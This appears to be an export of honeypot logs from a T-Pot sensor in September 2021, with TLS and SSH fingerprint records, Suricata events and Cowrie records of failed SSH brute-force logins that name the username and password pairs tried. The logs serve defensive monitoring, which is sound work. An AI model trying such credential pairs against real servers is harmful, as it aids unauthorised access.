25680	160.44.201.156	109.199.241.180	Fatt	2021-09-20 14:10:44.989151+03	2021-09-20 14:15:10.466471+03	{"_id": "XgbmAnwBvYTbRNuEsBzW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "160.44.201.156", "asn": 34086, "as_org": "T-Systems International GmbH", "latitude": 51.2993, "location": {"lat": 51.2993, "lon": 9.491}, "timezone": "Europe/Berlin", "longitude": 9.491, "country_name": "Germany", "country_code2": "DE", "country_code3": "DE", "continent_code": "EU"}, "src_ip": "160.44.201.156", "dest_ip": "192.168.20.116", "@version": "1", "fatt_tls": {"ja3s": "ec74a5c51106f0419184d0dd08fb05bc", "ja3sCiphers": "49200", "ja3sVersion": "771", "ja3sAlgorithms": "771,49200,65281-11-35-23", "ja3sExtensions": "65281-11-35-23"}, "protocol": "tls", "src_port": 443, "dest_port": 34866, "timestamp": "2021-09-20T11:10:44.989151", "@timestamp": "2021-09-20T11:10:44.989Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
25681	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:44.948643+03	2021-09-20 14:15:10.467471+03	{"_id": "XwbmAnwBvYTbRNuEsBzW", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "160.44.201.156", "@version": "1", "fatt_tls": {"ja3": "f0a8f03cd88db5395e12077d3e4aa1fc", "ja3Ec": "29-23-30-25-24", "ja3EcFmt": "0-1-2", "ja3Ciphers": "4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255", "ja3Version": "771", "serverName": "community.sicherheitstacho.eu", "ja3Algorithms": "771,4866-4867-4865-49196-49200-49195-49199-52393-52392-159-158-52394-49327-49325-49326-49324-49188-49192-49187-49191-49162-49172-49161-49171-49315-49311-49314-49310-107-103-57-51-157-156-49313-49309-49312-49308-61-60-53-47-255,0-11-10-35-22-23-13-43-45-51,29-23-30-25-24,0-1-2", "ja3Extensions": "0-11-10-35-22-23-13-43-45-51"}, "protocol": "tls", "src_port": 34866, "dest_port": 443, "timestamp": "2021-09-20T11:10:44.948643", "@timestamp": "2021-09-20T11:10:44.948Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	tls	\N	\N	\N	\N
25682	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:24.315623+03	2021-09-20 14:15:10.46947+03	{"_id": "-QbmAnwBvYTbRNuEYhqi", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "27.69.246.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 57706, "timestamp": "2021-09-20T11:10:24.315623", "@timestamp": "2021-09-20T11:10:24.315Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25683	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:25.621897+03	2021-09-20 14:15:10.47047+03	{"_id": "BAbmAnwBvYTbRNuEZxse", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [india/india] failed", "session": "c38eb2ce3a58", "@version": "1", "password": "india", "username": "india", "timestamp": "2021-09-20T11:10:25.621897Z", "@timestamp": "2021-09-20T11:10:25.621Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
25684	116.98.160.162	109.199.241.180	Fatt	2021-09-20 14:10:26.818371+03	2021-09-20 14:15:10.47147+03	{"_id": "BwbmAnwBvYTbRNuEaht0", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 34838, "dest_port": 22, "timestamp": "2021-09-20T11:10:26.818371", "@timestamp": "2021-09-20T11:10:26.818Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
25685	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:26.510393+03	2021-09-20 14:15:10.472471+03	{"_id": "CAbmAnwBvYTbRNuEaxsJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:34838 (192.168.176.2:22) [session: d916ff6408b3]", "session": "d916ff6408b3", "@version": "1", "protocol": "ssh", "src_port": 34838, "dest_port": 22, "timestamp": "2021-09-20T11:10:26.510393Z", "@timestamp": "2021-09-20T11:10:26.510Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
25686	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:26.819144+03	2021-09-20 14:15:10.47447+03	{"_id": "CwbmAnwBvYTbRNuEaxsJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "d916ff6408b3", "@version": "1", "timestamp": "2021-09-20T11:10:26.819144Z", "@timestamp": "2021-09-20T11:10:26.819Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
25687	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:10:27.056129+03	2021-09-20 14:15:10.47547+03	{"_id": "DAbmAnwBvYTbRNuEaxsJ", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 4 seconds", "session": "c38eb2ce3a58", "@version": "1", "duration": 4.439117908477783, "timestamp": "2021-09-20T11:10:27.056129Z", "@timestamp": "2021-09-20T11:10:27.056Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
25688	116.98.160.162	109.199.241.180	Suricata	2021-09-20 14:10:27.931914+03	2021-09-20 14:15:10.477471+03	{"_id": "FAbmAnwBvYTbRNuEbRtK", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "116.98.160.162", "dest_ip": "192.168.20.116", "flow_id": 1079960603441859, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 45354, "dest_port": 22, "timestamp": "2021-09-20T11:10:27.931914Z", "@timestamp": "2021-09-20T11:10:27.931Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	\N
25689	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:10:27.932892+03	2021-09-20 14:15:10.47847+03	{"_id": "FQbmAnwBvYTbRNuEbhtc", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "116.98.160.162", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 45354, "timestamp": "2021-09-20T11:10:27.932892", "@timestamp": "2021-09-20T11:10:27.932Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
25690	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:27.71462+03	2021-09-20 14:15:10.479471+03	{"_id": "FwbmAnwBvYTbRNuEbhvw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.login.failed", "message": "login attempt [ftp/123456] failed", "session": "d916ff6408b3", "@version": "1", "password": "123456", "username": "ftp", "timestamp": "2021-09-20T11:10:27.714620Z", "@timestamp": "2021-09-20T11:10:27.714Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	\N
25691	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:10:28.291945+03	2021-09-20 14:15:10.48147+03	{"_id": "GQbmAnwBvYTbRNuEbhvw", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["chacha20-poly1305@openssh.com", "aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc", "blowfish-cbc", "cast128-cbc", "arcfour256", "arcfour128", "arcfour"], "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "macCS": ["umac-64-etm@openssh.com", "umac-128-etm@openssh.com", "hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-md5-etm@openssh.com", "hmac-sha2-256-96-etm@openssh.com", "hmac-sha2-512-96-etm@openssh.com", "hmac-sha1-96-etm@openssh.com", "hmac-md5-96-etm@openssh.com", "umac-64@openssh.com", "umac-128@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1", "hmac-md5", "hmac-sha2-256-96", "hmac-sha2-512-96", "hmac-sha1-96", "hmac-md5-96"], "compCS": ["zlib@openssh.com", "zlib", "none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "curve448-sha512", "ecdh-sha2-nistp521", "ecdh-sha2-nistp384", "ecdh-sha2-nistp256", "ecdh-sha2-1.3.132.0.10", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group-exchange-sha1", "diffie-hellman-group14-sha256", "diffie-hellman-group15-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group17-sha512", "diffie-hellman-group18-sha512", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "rsa2048-sha256", "rsa1024-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519-cert-v01@openssh.com", "ssh-ed448-cert-v01@openssh.com", "ecdsa-sha2-nistp521-cert-v01@openssh.com", "ecdsa-sha2-nistp384-cert-v01@openssh.com", "ecdsa-sha2-nistp256-cert-v01@openssh.com", "ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com", "ssh-rsa-cert-v01@openssh.com", "ssh-dss-cert-v01@openssh.com", "ssh-ed25519", "ssh-ed448", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "ecdsa-sha2-1.3.132.0.10", "rsa-sha2-256", "rsa-sha2-512", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: fda360b1b4f4d3455cb75c6e7edb1d11", "session": "5d3b1bd5c39d", "@version": "1", "timestamp": "2021-09-20T11:10:28.291945Z", "@timestamp": "2021-09-20T11:10:28.291Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}}	1	\N	cowrie.client.kex	\N	known attacker	\N
